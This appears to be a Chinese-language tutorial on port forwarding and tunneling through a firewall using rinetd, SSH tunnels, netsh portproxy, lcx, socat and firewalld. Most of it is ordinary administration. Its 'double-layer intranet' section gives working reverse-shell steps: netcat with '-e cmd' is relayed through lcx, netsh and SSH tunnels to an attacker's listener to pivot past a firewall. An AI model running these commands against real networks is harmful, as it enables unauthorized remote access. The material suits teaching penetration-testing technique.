SSH隧道及rinted端口转发

如何使用SSH隧道和rinted等工具进行端口转发,实现内网穿透。

我们通常会遇到以下的状况,防火墙只允许内网中9999端口出站。如果我们此时需要让Server A能够访问外网的Web-Server,就需要借助到端口转发的技术了。

假设

  • Proxy-Server的系统为Linux系统。IP为192.168.40.123
  • Server A IP为192.168.56.2 (56网段为内网)
  • FireWar(mon0wall) IP为192.168.56.1 WAN-IP为192.168.40.154
  • Web-Server IP为192.168.40.142

参考:

编辑配置文件:

1
sudo vim /etc/rinted.conf

0.0.0.0 监听本地所有的IP的1234端口

1
2
[Source Address] [Source Port] [Destination Address] [Destination Port]
0.0.0.0 1234 目标ip 80

主机 port 目标地址 port

1
2
sudo pkill rinted #有时候可能需要杀掉进程。
sudo rinted # 开启进程

开始配置(单层内网)

防火墙只允许内网中9999端口出站。
Proxy-Server中配置/etc/rinted文件。

1
2
# bindadress    bindport  connectaddress  connectport
0.0.0.0 9999 192.168.40.142 80

接下来Server A直接在浏览器中访问Proxy-Server的IP地址和端口就好了。

1
http://192.168.40.123:9999

使用SSH加密隧道加密

直接用rinted配置虽然简单。但是是明文传输的,这很容易被劫持以及信息泄露。为了避免劫持和信息泄露,所以可以使用SSH加密隧道来进行端口的转发。SSH加密隧道详解

借助ssh隧道将通讯数据转发,虽然仍然跨越了公网,但是由于ssh本身的安全特性,所以别人无法看到明文传输的数据,数据依靠ssh隧道实现了加密的效果,达到了保护数据安全的作用,提升了客户端与服务端通讯的安全性。

怎么做?

Windows

此时假设ServerA为Windows系统。
Windows系统下载一个xshell,或者其他的客户端。
Proxy-Server,开启sshd,并允许密码登录,设置SSH端口为9999端口,并关闭先前的rinted监听9999端口。

  1. Windows 使用xshell连接 ssh://192.168.40.123 -p 9999

  2. 新建一个隧道,关闭转发X11连接(默认开启)

  3. 添加一个转移连接。源地址填写localhost,端口填写1234(或者其他,但是不能端口冲突) 目标地址填写为Web-Server的地址和端口。

编辑好后建立连接,Server打开浏览器访问本地127.0.0.1:9999即可。

Linux

此时假设ServerA为Linux系统。
因为Linux中一般都是预装openssh的,所以不用再做什么配置,直接一条命令。

1
ssh -N -f -L 1234:192.168.40.142:80 [email protected] -p 9999
  • -N 告诉SSH客户端,这个连接不需要执行任何命令。仅仅做端口转发
  • -f 告诉SSH客户端在后台运行
  • -L 做本地映射端口,被冒号分割的三个部分含义分别是
    需要使用的本地端口号
    需要访问的目标机器IP地址(IP: 192.168.40.142)
    需要访问的目标机器端口(端口: 80)

最后一个参数是我们用来建立隧道的Proxy-Server的IP地址(IP: 192.168.40.123) -p 9999指定 ssh连接Proxy-Server的端口,因为防火墙只允许9999端口的流量出站。

执行好之后,直接本地访问127.0.0.1:1234即可看到Web-Server的数据了

双层内网

同样防火墙只允许内网中9999端口出站。不过此时多了一层内网。

新添加的ServerB IP为192.168.1.2
ServerA 则是双IP

  • 192.168.1.1
  • 192.168.56.2

其他设备IP不变。此时要让内网机器ServerB能够访问到WebServer。

只需要在ServerA多做一个端口映射就好了。

Windows系统命令

1
2
3
4
5
6
添加一个IPV4到IPV4的端口映射
netsh interface portproxy add v4tov4 listenaddress=192.168.193.1 listenport=22 connectaddress=xxx.xxx.xxx.xxx connectport=22
指定监听ip和端口可以删除
netsh interface portproxy delete v4tov4 listenaddress=192.168.193.1 listenport=22
可以查看存在的转发
netsh interface portproxy show all

Linux

同样也可以使用rinted。

双层内网反弹nc shell

方法一 使用netsh开启映射

ServerA直接使用netsh开启映射

1
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=1200 connectaddress=192.168.40.123 connectport=9999

优点:系统命令,不需要使用其他工具即可实现。
缺点:明文,需要管理员权限。

将原先Proxy-Server的端口映射地址改为攻击者的IP的攻击者监听的端口。
比如攻击者的IP和监听的端口为

1
2
3
192.168.40.228 1234
修改配置文件为
0.0.0.0 9999 192.168.40.228 1234

在攻击者的机器上开启监听

1
nc -lvnp 1234

ServerB 直接执行

1
nc -nv 192.168.1.2 1200 -e cmd

此时在攻击者的机器上即可获得ServerB的cmd shell。

方法二 利用SSH隧道反弹

优点:加密。
缺点:Windows中需要借助Xshell等其他连接SSH的工具。

先在ServerA上与攻击者建立SSH隧道。监听ServerA本地端口7890。

在ServerB机器中,执行

1
nc -nv 192.168.1.2 7890 -e cmd

再回去看看攻击者的监听端口,就已经拿到ServerA的shell了。

方法三 使用lcx端口反弹

ServerA执行

1
2
lcx -listen 7777 1111 # 监听本地的7777端口,并7777端口流量转发至1111端口。
lcx -slave 127.0.0.1 1111 192.168.40.172 9999 #将本地的1111端口转发至远程192.168.40.172 9999端口

ServerB执行

1
nc -nv 192.168.1.2 7777 -e cmd

此时攻击者已经接收到了ServerB的shell了

方法四 还是lcx端口反弹

ServerA执行

1
lcx -tran 7777 192.168.40.172 9999 # 将远程主机的端口映射到本地7777端口

ServerB 执行

1
nc -nv 192.168.1.2 7777 -e cmd

攻击者也已经收到了Shell了。

SSH部分指令

1
2
3
4
5
ssh -X  [email protected] -p port # 允许远程打开图形界面
SSH -L 本地端口转发
SSH -R 远程端口转发
SSH -D 动态转发
ssh -NfL 0.0.0.0:1234:localhost:8000 127.0.0.1 #将允许任意ip连接的1234端口转发至本地的8000端口

socat端口转发

除了用rinted和ssh也可以用这个socat来进行端口转发。

Github链接:socat

Firewalld 端口转发

1
2
3
4
5
6
7
8
9
10
11
12
13
### 开启转发
echo 'net.ipv4.ip_forward = 1' >> /etc/sysctl.conf
sysctl -p
### Firewalld开启伪装
firewall-cmd --permanent --add-masquerade
### 放行80,443
firewall-cmd --zone=public --add-port=80/tcp,443/tcp --permanent

### 配置转发,将本机80端口转发到1.1.1.1的443端口
firewall-cmd --permanent --add-forward-port=port=80:proto=tcp:toaddr=1.1.1.1:toport=443

### 重启生效
firewall-cmd --reload

sshuttle